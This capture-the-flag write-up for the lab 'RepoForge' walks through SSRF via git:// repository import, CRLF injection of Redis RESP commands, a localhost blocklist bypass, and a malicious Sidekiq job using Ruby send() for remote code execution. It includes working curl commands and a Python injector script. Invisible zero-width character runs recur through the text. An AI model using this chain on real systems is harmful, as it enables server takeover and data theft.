← Back to Writeups
CUSTOMMediumWeb

Lab 46 — RepoForge — SSRF to Redis RCE via Repository Import

XESXOR9/10/20264 min read
#web#custom#medium#crlf_injection_in_git_protocol#data_exfiltration_via_redis#ip_blocklist_bypass#redis_command_injection_via_re#ruby_send_method_abuse#sidekiq_job_queue_injection#ssrf_via_repository_import#linux

Lab 46 — RepoForge — SSRF to Redis RCE via Repository Import

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-02 | Status: Solved Techniques: crlf_injection_in_git_protocol, data_exfiltration_via_redis, ip_blocklist_bypass, redis_command_injection_via_resp, ruby_send_method_abuse, sidekiq_job_queue_injection, ssrf_via_repository_import

Summary

Task: RepoForge code collaboration platform with repository import feature vulnerable to SSRF via git:// protocol, connecting to internal Redis. Solution: CRLF injection in git:// URL to inject Redis RESP commands, pushing a malicious Sidekiq job that abuses Ruby send() for RCE, then exfiltrating the flag via Redis key storage.

Lab 46 — RepoForge — SSRF to Redis RCE via Repository Import

Description

RepoForge is a self-hosted code collaboration platform built by ForgeStack Inc. where teams manage repositories, run CI/CD pipelines, and coordinate deployments. The platform offers features similar to GitLab — project management, branch tracking, pipeline visualization, and a background job queue for async tasks like repository imports and webhook deliveries.

As part of a security assessment, you have been given access to a standard user account on the platform. Your objective is to escalate your privileges and achieve remote code execution on the server.

The flag is stored in /root/flag.txt and can only be retrieved through code execution on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A self-hosted code collaboration platform with repository import functionality. The import feature supports HTTP, HTTPS, and git:// protocols. The git:// protocol handler is vulnerable to CRLF injection, allowing command injection into the internal Redis instance used as a Sidekiq job queue. A worker class with unsafe dynamic dispatch (send()) enables RCE.

Target: https://6e191ad3-b1ce-4b99-9201-b1d7ec949a57.labs.hackadvisor.io/ Credentials: user@test.com / password123

Analysis

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

  1. Stack identification: Ruby application (rack.session cookie), Sinatra/Rails framework, nginx/1.25.5 reverse proxy, Redis as Sidekiq job queue backend
  2. Login: POST /login with form-encoded email=user@test.com&password=password123
  3. Key feature: "New Project" page has "Import Repository" tab using POST /api/projects/import with JSON body {"name":"...", "url":"..."}
  4. Worker discovery: GET /api/jobs reveals Sidekiq workers: RepositoryCloneWorker, PipelineRunWorker, WebhookDeliveryWorker, CleanupWorker, ProjectExportWorker, CodeAnalysisWorker
  5. Decoy flags: HTML contains fake flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in hidden divs and comments — honeypots for automated scanners ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SSRF Discovery

The repository import URL parameter is fetched server-side with incomplete validation:

URLResultMeaning
http://localhost:6379/"end of file reached"Redis IS running on localhost:6379
http://127.0.0.1:6379/"Access to internal network addresses is not allowed"IP-based blocklist active
git://localhost:6379/test{"status":"success","response_preview":"Git probe: (no response)"}git:// connects to Redis

Key finding: localhost bypasses the IP blocklist that blocks 127.0.0.1. The response_preview field in error responses leaks server-side data — useful for exfiltration. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

CRLF Injection via git:// Protocol

The git:// protocol sends a packet like:

0039git-upload-pack /PATH\0host=HOST\0

URL-encoded CRLF characters (%0d%0a) in the path allow injecting arbitrary lines after the initial git-upload-pack command. Redis errors on the unrecognized git-upload-pack but processes all subsequent injected commands:

git://localhost:6379/test%0d%0aPING%0d%0a

Redis receives:

git-upload-pack /test
PING

→ Error on first line, +PONG on second.

Redis RESP Protocol for Binary-Safe Payloads

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Inline Redis commands break on double quotes in JSON payloads. The solution is to use Redis RESP (Redis Serialization Protocol) format, which is length-prefixed and binary-safe:

*3\r\n$5\r\nLPUSH\r\n$13\r\nqueue:default\r\n$NN\r\n{json_payload}\r\n

All \r\n, *, $ characters are URL-encoded in the git:// URL path.

Vulnerable Worker: CodeAnalysisWorker

The CodeAnalysisWorker uses Ruby's send() for dynamic method dispatch on its arguments:

ruby
self.send(args[0], args[1])

By injecting args = ["system", "COMMAND"], this calls Kernel.system("COMMAND") — arbitrary command execution. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authenticate

bash
curl -sk -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123"

Step 2: Confirm SSRF and Redis Access

bash
# Confirm Redis is reachable via git://
curl -sk -b cookies.txt -X POST "$TARGET/api/projects/import" \
  -H "Content-Type: application/json" \
  -d '{"name":"test-ssrf","url":"git://localhost:6379/test%0d%0aPING%0d%0a"}'
# Response includes PONG confirming Redis command execution

Step 3: Inject Malicious Sidekiq Job via RESP Protocol

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The job payload:

json
{"class":"CodeAnalysisWorker","args":["system","cat /root/flag.txt | redis-cli -x SET flagdata"],"jid":"rce001","queue":"default"}

This is injected via RESP-formatted LPUSH through the git:// CRLF injection:

python
#!/usr/bin/env python3
import urllib.parse
import subprocess
import json
import time

TARGET = "https://6e191ad3-b1ce-4b99-9201-b1d7ec949a57.labs.hackadvisor.io"
COOKIES = "cookies.txt"

def inject_job(worker_class, args, jid, queue="default"):
    job = json.dumps({
        "class": worker_class,
        "args": args,
        "jid": jid,
        "queue": queue
    }, separators=(',', ':'))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    job_encoded = urllib.parse.quote(job, safe='')
    job_len = len(job)

    # Build RESP protocol: *3\r\n$5\r\nLPUSH\r\n$NN\r\nqueue:default\r\n$NN\r\njob\r\n
    queue_key = f"queue:{queue}"
    resp = (
        f"%2a3%0d%0a"
        f"%245%0d%0aLPUSH%0d%0a"
        f"%24{len(queue_key)}%0d%0a{queue_key}%0d%0a"
        f"%24{job_len}%0d%0a{job_encoded}%0d%0a"
    )

    url = f"git://localhost:6379/test%0d%0a{resp}"
    payload = json.dumps({"name": f"job-{jid}", "url": url})

    result = subprocess.run([
        "curl", "-sk", "-b", COOKIES, "-X", "POST",
        f"{TARGET}/api/projects/import",
        "-H", "Content-Type: application/json",
        "-d", payload
    ], capture_output=True, text=True)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    print(f"Push result: {result.stdout}")

# Inject RCE job: cat flag → store in Redis
inject_job(
    "CodeAnalysisWorker",
    ["system", "cat /root/flag.txt | redis-cli -x SET flagdata"],
    "rce001"
)

Step 4: Exfiltrate Flag via Redis GET

After the job executes (wait ~2 seconds), read the flag back through the same SSRF channel:

bash
curl -sk -b cookies.txt -X POST "$TARGET/api/projects/import" \
  -H "Content-Type: application/json" \
  -d '{"name":"read-flag","url":"git://localhost:6379/test%0d%0aGET%20flagdata%0d%0a"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The response_preview field in the response contains the flag value. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍